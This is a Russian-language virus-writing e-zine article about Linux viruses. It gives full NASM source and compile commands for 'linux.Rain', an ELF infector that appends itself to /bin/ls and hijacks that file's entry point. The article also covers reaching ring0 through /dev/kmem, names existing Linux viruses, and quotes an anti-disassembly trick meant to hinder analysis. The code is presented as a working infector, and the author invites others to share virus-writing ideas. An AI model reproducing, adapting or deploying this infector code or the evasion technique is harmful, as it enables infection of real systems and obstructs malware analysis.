![]() |
![]() |
![]() |
В предыдущей статье в журнале DVL#10 я опубликовал статью про linux это ее вторая часть. В этой статье я привуду маленький пример вируса под linux и описания всякой теорий. Итак вирусы под платформу Linux ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ После написания всякой мелкой тулзы под linux я понял что лучше всего использовать синитаксис NASM он более удобнее. Стандартная программа для навичков. HeLL0 W0rld!!! BITS 32 ; программа 32 битная GLOBAL main ; обьявим начало программы SECTION .text ; секция текста main: ; начало проги mov eax,04h ; функция sys_write mov ebx,01h ; stdout хендле lea ecx,[message] ; текст сообщения mov edx,message_end-message ; размер текста программы int 80h ; запустим функцию с параметрами mov eax,1 ; выходим из проги int 80h SECTION .data message: db 'Hello TopDevice!!!',10,13,0 ; текст сообщения message_end: Так же можно написать такую программу но без использованния прерывания int80. GLOBAL main ; обьявим начало программы extern puts ; используем функцию puts SECTION .text ; секция текста main: push dword msg ; поместим сообщение call puts ; покажем сообщения с помощью функций puts add esp,4 ret ; выходим SECTION .data message: db "Hello TopDevice!!!",0 ; текст сообщения Это программа копия выше показанной программы только использованнием функций libc. Как видете, писать программы на nasm довольно легко это асм более похож на tasm синтаксис. Вирусы для Linux ~~~~~~~~~~~~~~~~ Итак простеиший вирус для Linux. Вирус заражает только один файл в системе linux, файл под названием ls. ; ; linux.Rain ; ~~~~~~~~~~ ; ; Компилируем: ; nasm -f elf rain.asm ; gcc rain.o -o rain ; :) ; ./rain ; ; GLOBAL main ; обьявим начало программы SECTION .text hoste: ret main: pusha ; сохраним все рег. call .getdelta .getdelta: ; получим delta offset pop ebp sub ebp,getdelta push byte 125 pop eax ; модифичируем mprotect lea ebx,[ebp+main] ; для дальнеишей работы and ebx,0xfffff000 mov ecx,03000h mov edx,07h int 80h .infect: push byte 5 ; откроем файл pop eax lea ebx,[ebp+ls] ; /bin/ls :) mov ecx,02 int 80h mov ebx,eax ;сохраним имя в ebx push byte 19 ;функция lseek pop eax xor ecx,ecx xor edx,edx int 80h push byte 3 ;функция чтения pop eax lea ecx,[ebp+elfheader] ;читаем elf хедер mov edx,24h int 80h cmp word [ebp+elfheader+8],0xDEAD ;проверим заражен файл? jne infectar ;нет, надо заразить jmp quit ; зараженние начинается тут .infectar: mov word [ebp+elfheader+8],0xDEAD mov ecx,[ebp+e_phoff] add ecx,8*4*3 push byte 19 ;функция lseek pop eax push ecx xor edx,edx int 80h push byte 3 ;функция чтения pop eax lea ecx,[ebp+progheader] mov edx,8*4 int 80h add dword [ebp+p_filez],0x2000 add dword [ebp+p_memez],0x2000 push byte 19 ;функуция lseek pop eax pop ecx xor edx,edx int 80h push byte 4 ; функция записи pop eax ; корректируем program header lea ecx,[ebp+progheader] mov edx,8*4 int 80h push byte 19 ;функуция lseek pop eax xor ecx,ecx mov edx,02h int 80h mov ecx,dword [ebp+oldentry] mov dword [ebp+temp],ecx mov ecx,dword [ebp+e_entry] mov dword [ebp+oldentry],ecx sub eax,dword [ebp+p_offset] add dword [ebp+p_vaddr],eax mov eax,dword [ebp+p_vaddr] ;поставим новый entrypoint mov dword [ebp+e_entry],eax push byte 4 ; функция записи pop eax lea ecx,[ebp+main] ; запишем вирус mov edx,virend-main int 80h push byte 19 ;функуция lseek pop eax xor ecx,ecx xor edx,edx int 80h push byte 4 pop eax lea ecx,[ebp+elfheader] mov edx,24h int 80h ;con el nuevo entrypoint mov ecx,dword [ebp+temp] mov dword [ebp+oldentry],ecx .quit: push byte 6 ; функция закрытия файла pop eax int 80h popa ; востановим рег. db 068h ; опкод push`а oldentry dd hoste ret dir dd main dw 010h binls db '/bin/ls',0 ; то что мы будим заражать datos db 0h temp dd 0h newentry db 00h,00h,00h,00h newfentry db 00h,00h,00h,00h viraladdr db 00h,00h,00h,00h elfheader: e_ident: db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h e_type: db 00h,00h e_machine: db 00h,00h e_version: db 00h,00h,00h,00h e_entry: db 00h,00h,00h,00h e_phoff: db 00h,00h,00h,00h e_shoff: db 00h,00h,00h,00h e_flags: db 00h,00h,00h,00h e_ehsize: db 00h,00h e_phentsize: db 00h,00h e_phnum: db 00h,00h e_shentsize: db 00h,00h e_shnum: db 00h,00h e_shstrndx: db 00h,00h jur: db 00h,00h,00h,00h progheader: p_type db 00h,00h,00h,00h p_offset db 00h,00h,00h,00h p_vaddr db 00h,00h,00h,00h p_paddr db 00h,00h,00h,00h p_filez db 00h,00h,00h,00h p_memez db 00h,00h,00h,00h p_flags db 00h,00h,00h,00h p_align db 00h,00h,00h,00h secentry: sh_name db 00h,00h,00h,00h sh_type db 01h,00h,00h,00h sh_flags db 03h,00h,00h,00h sh_addr db 00h,00h,00h,00h sh_offset db 00h,00h,00h,00h sh_size dd (virend-main)*2 sh_link db 00h,00h,00h,00h sh_info db 00h,00h,00h,00h sh_addralign db 01h,00h,00h,00h sh_entsize db 00h,00h,00h,00h virend: Теперь функций которые использовались в вирусе. Простите что на иностраном. mprotect 125 ~~~~~~~~~~~~~ parameterz: cont void *addr size_t len int prot info: control access to a region of memory return: -/- errors: acces, fault, inval, nomem ref: sys/mman.h read 3 ~~~~~~ int fd void *buf size_t count info: read up to count bytes from file fd into buffer *buf return: no. of bytes received, file pointer advanced accordingly errors: EAGAIN, EBADF, EFAULT, EINTR, EINVAL, EIO, EISDIR write 4 ~~~~~~~ int fd void *buf size_t count info: write (up to) count bytes of data from *buf to file fd return: no. of sent bytes (if POSIX conforming f.s.) errors: EAGAIN, EBADF, EFAULT, EINTR, EINVAL, EIO, ENOSPC, EPIPE open 5 ~~~~~~ const char *pathname int flags mode_t mode info: open a file or device, create file if not present and corresponding mode flag set return: int fd filedescriptor errors: EACCESS, EEXIST, EFAULT, EISDIR, ELOOP, EMFILE, ENAMETOOLONG, ENFILE, ENOENT, ENODEV, ENODIR, ENOMEM, ENOSPC, ENXIO, EROFS, ETXTBSY ref: sys/types.h, sys/stat.h, fcntl.h close 6 ~~~~~~~ int fd info: close a file by fd reference return: -/- errors: EBADF (-1) lseek 19 ~~~~~~~~ int fd off_t offset int whence info: change posn. ptr of filedescriptor return: off_t ptr posn. re beginning of file errors: badf, inval, ispipe ref: sys/types.h, unistd.h Резиденты для Linux ~~~~~~~~~~~~~~~~~~~ Немного о том что я так и не понял в linux. Многие знают что в Windoze95/98 существуют Ring0/Ring3, так вот в linux они тоже присудствуют. Я не очень разбирался с переходом в 0 кольцо но знаю, что это можно сделать пропатчив файлы /dev/kmem или /dev/mem и мы будим в ring0. Патчит он очень интересно ищет (как я понял) свободное место в середине файла и если оно найдено записывает себя туда. Потом перехватывал некоторые системные вызовы и заражал файлы. Так делал вирус Linux.Staog by Quantum/VLAD. По идеи вирус очень похож на вирус Win95.Harry того же автора только для Windoze. Вирус Staog уже мне кажется устарел он был написал 3-4 года назад, вирус давольно интересный советую его посмотреть. Так же можно стать на время резидентом (ring3) с помощью mprotect функций и записывания в plt & got секцию, как это сделать я еще не разобрался. Если кто то знает более современны способы перехода в ring0 и о резидентности буду рад если вы расскажите как это сделать. Anti-Disassembly ~~~~~~~~~~~~~~~~ Немного о том как помещать дизассемблировать ваш вирус. Ниже описаные команды мешают дизассемблиру нормально продизасмить вирус, он нарывается на эти команды а потом что то с ним происходит:) jmp antidebug1 + 2 antidebug1: .short 0xc606 call reloc reloc: popl %esi jmp antidebug2 antidebug2: addl $(data - reloc),%esi movl 0(%esi),%edi pushl %esi jmp *%edi data: .long 0 дизассм: ~~~~~~~~ . . . 8048340: 55 pushl %ebp 8048341: 89 e5 movl %esp,%ebp 8048343: eb 02 jmp 0x8048347 8048345: 06 pushl %es 8048346: c6 e8 00 movb $0x0,%al 8048349: 00 00 addb %al,(%eax) 804834b: 00 5e eb addb %bl,0xffffffeb(%esi) 804834e: 00 81 c6 0f 00 addb %al,0xfc6(%ecx) 8048353: 00 8048354: 00 8b 7e 00 56 addb %cl,0xff56007e(%ebx) 8048359: ff 804835a: e7 00 outl %eax,$0x0 804835c: 00 00 addb %al,(%eax) 804835e: 00 89 ec 5d c3 addb %cl,0x90c35dec(%ecx) 8048363: 90 8048364: 90 nop (с) Silvio Cesare The End ~~~~~~~ Я очень буду рад если кто то поделиться своими идеями в написаний вирусов под Linux. e-mail: [email protected] url: www.matrixvx.org ULTRAS[MATRiX] Вечно молодой, Вечно пьяный |
||
![]() |
![]() |
![]() |